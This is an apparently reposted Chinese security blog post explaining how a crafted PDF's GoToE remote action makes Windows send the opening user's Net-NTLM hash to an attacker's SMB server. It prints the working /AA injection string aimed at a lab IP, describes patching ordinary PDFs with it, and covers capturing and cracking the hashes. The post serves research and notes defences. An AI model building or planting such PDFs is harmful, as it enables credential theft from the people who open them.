渗透技巧——利用 PDF 文件获取 Net-NTLM hash

发布于 2024-12-07 11:59:14 字数 7451 浏览 6 评论 0

0x00 前言

今年 4 月,来自 CheckPoint 的 Assaf Baharav 公开了一个方法,利用 PDF 文件的正常功能够窃取 Windows 系统的 NTLM Hash。

具体的说,当用户使用 PDF 阅读器打开一份恶意的 PDF 文档,该 PDF 会向远程 SMB 服务器发出请求,如果该远程 SMB 服务器对数据包进行抓取,就能够获得用户 Windows 系统的 Net NTLM Hash,通过进一步破解就有可能获得用户系统的明文密码。

然而 Microsoft、Adobe 和 FoxIT 对此没有进行针对性的修复。

这个利用方法成功的条件有哪些?没有修复的原因又是什么呢?

本文将要站在技术研究的角度进行介绍

0x01 简介

本文将要介绍以下内容:

  • 原理和利用思路
  • 测试 POC,生成一个恶意 PDF 文件
  • 分析 PDF 文件格式
  • 编写脚本实现修改正常 PDF 文件
  • 开源代码

0x02 原理和利用思路

参考资料:https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/

原理

PDF 规范允许为 GoTobe 和 GoToR 条目加载远程内容

直观的理解:

PDF 文件可以添加一项功能,请求远程 SMB 服务器的文件

而我们知道,Windows 系统下 SMB 协议有一个特性:客户端在连接 SMB 服务器时,默认先使用本机的用户名和密码 hash 尝试登录,通信协议默认为 Net-NTLMv1 或者 Net-NTLMv2

工具 Hashcat 提供了字典和暴力破解两种方法来还原 Net-NTLMv1 和 Net-NTLMv2 协议中的明文密码

只要在 SMB 服务器上进行抓包,提取关键数据,就能够获得 Hashcat 需要的参数,尝试破解

抓包可选择 WireShark,对获得的 pcap 包进行解析,提取关键数据。如果使用 Responder 可自动提取出关键数据。

类似的利用思路:可参考以下文章:https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/

介绍了多种文件格式的利用方法

利用思路

  • 构造一份特殊的 PDF 文档,请求 SMB 服务器的一份文件
  • 在 SMB 服务器上抓包
  • 用户使用 PDF 阅读器打开 PDF 文档时,Windows 系统将当前用户的 Net NTLM Hash 发送到 SMB 服务器
  • SMB 服务器提取出 Net NTLM Hash,使用 Hashcat 进行破解
  • 还原出用户的明文密码
  • 根据用户的明文密码尝试进一步利用

0x03 测试 POC

Assaf Baharav 在他的文章中已经公开了 POC,如下图

Alt text

注:图片引用自 https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/

如果想要直接进行测试,可参考 Deepu TV 的 POC,地址如下:https://github.com/deepzec/Bad-Pdf

实际测试

Client:

  • IP: 192.168.62.135
  • OS: Win7 x86

SMB Server:

  • IP: 192.168.62.139
  • OS: Win8 x86
  • 开放共享文件夹: test

1、使用 Bad-Pdf 生成 PDF 文件

本次测试对 Bad-Pdf.py 做部分修改,不执行 Responder

设置 host IP: 192.168.62.139

协议选择 SMB

如下图

Alt text

生成测试 PDF 文件 badpdf.pdf

2、SMBServer 进行抓包

开启 Wireshark

3、Clinet 使用 Adobe Reader 打开 badpdf.pdf

4、查看 Wireshark,成功获得 Net NTLM Hash 的数据包

如下图

Alt text

0x04 POC 细节分析

参考代码:https://github.com/deepzec/Bad-Pdf/blob/master/badpdf.py

Assaf Baharav 的 POC 是在脚本中写好了 PDF 文件的模板

下面对其中的关键代码进行说明:

(1)

2 0 obj
<</Type/Pages/Kids[3 0 R]/Count 1>>
endobj

/Type /Pages 表示对象的类型为页码

/Kids[3 0 R] 表示页的对象是 3

/Count 1 表示页码数量为 1

(2)

3 0 obj
<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Resources<<>>>>
endobj

/Parent 2 0 R 表示父对象是 2,同(1) 中 /Kids[3 对应

/MediaBox 表示页面的显示大小(以象素为单位)

(3)

xref
0 4
0000000000 65535 f
0000000015 00000 n
0000000060 00000 n
0000000111 00000 n

xref 表示这部分为交叉引用表

0 4 表示下面各行所描述的对象号是从 0 开始,并且有 4 个对象

0000000000 65535 f 固定格式,可看作文件头

0000000015 00000 n 对应第一个对象, 0000000015 表示偏移地址(十进制); 00000 为 5 位产生号(最大为 65535),0 表明该对象未被修改过; n 表示该对象在使用,如果为 f,表示该对象为 free

(4)

trailer
<</Size 4/Root 1 0 R>>
startxref
190

...中间省略的代码...

trailer
<<
    /Root 1 0 R
>>
%%EOF

trailer 表示文件尾 trailer 对象的开始

/Size 4 表示该 PDF 文件的对象数目为 4

/Root 1 0 R 表示根对象的对象号为 1

startxref 190 表示交叉引用表的偏移地址为 190

%%EOF 表示文件结束标志

(5)

3 0 obj
<< /Type /Page
   /Contents 4 0 R
   /AA <<
       /O <<
          /F (''' + host + '''test)
          /D [ 0 /Fit]
          /S /GoToE
          >>
       >>
       /Parent 2 0 R
       /Resources <<
            /Font <<
                /F1 <<
                    /Type /Font
                    /Subtype /Type1
                    /BaseFont /Helvetica
                    >>
                  >>
                >>
>>
endobj

此处为关键代码,实现远程访问

/Contents 4 0 R 表示页面内容对象的对象号为 4

/Parent 2 0 R 表示父对象是 2

/Contents 4 0 R/Parent 2 0 R 直接为实现远程访问的代码

对于 PDF 文件格式,不需要换行符,所以这段代码去掉换行符和空格,填入 ServerIP 后为 /AA <</O <</F (\\\\192.168.62.139\\test)/D [ 0 /Fit]/S /GoToE>>>>

0x05 修改正常 PDF 文件

接下来,尝试修改正常的文件,添加代码,实现远程访问功能

使用工具生成的 PDF 文件一般都很大,分析格式不是很方便,这里提供一个 python 生成 PDF 的参考代码,地址如下:http://code.activestate.com/recipes/189858/

输入 txt 文件,输出 pdf 文件

实际测试

1.txt 的内容为:

1234567

cmd:

recipe-189858-1.py 1.txt

生成的 pdf 文件 1.txt.pdf ,文件大小 1213 bytes

查看 1.txt.pdf 的文件格式,如下图

Alt text

/Parent 3 0 R/Resources 5 0 R 直接添加代码 /AA <</O <</F (\\\\192.168.62.139\\test)/D [ 0 /Fit]/S /GoToE>>>>

注:需要十六进制编辑,使用文本编辑会导致 PDF 文件出错

对 PDF 文件添加上述代码后,交叉引用表中对象的偏移位置会出现偏差,需要重新计算,修正偏移位置

使用 Adobe Reader 打开修改后的文件 1.txt.pdf ,SMB 服务器成功抓到 Net NTLM Hash,修改成功

0x06 脚本编写

经实际测试,不修正交叉引用表中对象的偏移位置,不会影响 PDF 文件的正常访问

所以脚本编写上只需要定位 /Parent <n> 0 R 后,添加访问远程文件的代码即可

值得注意的是 PDF 文件的读取和写入需要以二进制格式

实现代码已开源,可参考:https://github.com/3gstudent/Worse-PDF

0x07 利用分析

成功利用需要满足以下条件:

  • 用户使用 PDF 阅读器打开,如果使用 IE 或是 Chrome 打开 PDF 文件,并不会执行

对于 Windows 系统,通过 Net NTLM Hash 破解出明文有一定难度

即使破解出了明文,利用的效果也有限(例如普通用户的 Windows 系统很少开启远程登录功能)

0x08 防御

虽然微软并未针对这个利用方法进行针对性的修复,但在之前已经提供了一个防御的方法,参考地址:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV170014

但只支持 Win10 和 Server2016

0x09 小结

本文测试了利用 PDF 文件获取 Net-NTLM hash 的方法,分析原理,根据 PDF 的文件格式尝试编写脚本实现修改正常的 PDF 文件,开源代码,总结利用条件。

最后,个人也认为 Microsoft 没有必要对此进行针对性的修复。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

笙痞

暂无简介

文章
评论
26 人气
更多

推荐作者

七七

文章 0 评论 0

囍笑

文章 0 评论 0

盛夏尉蓝

文章 0 评论 0

ゞ花落谁相伴

文章 0 评论 0

Sherlocked

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文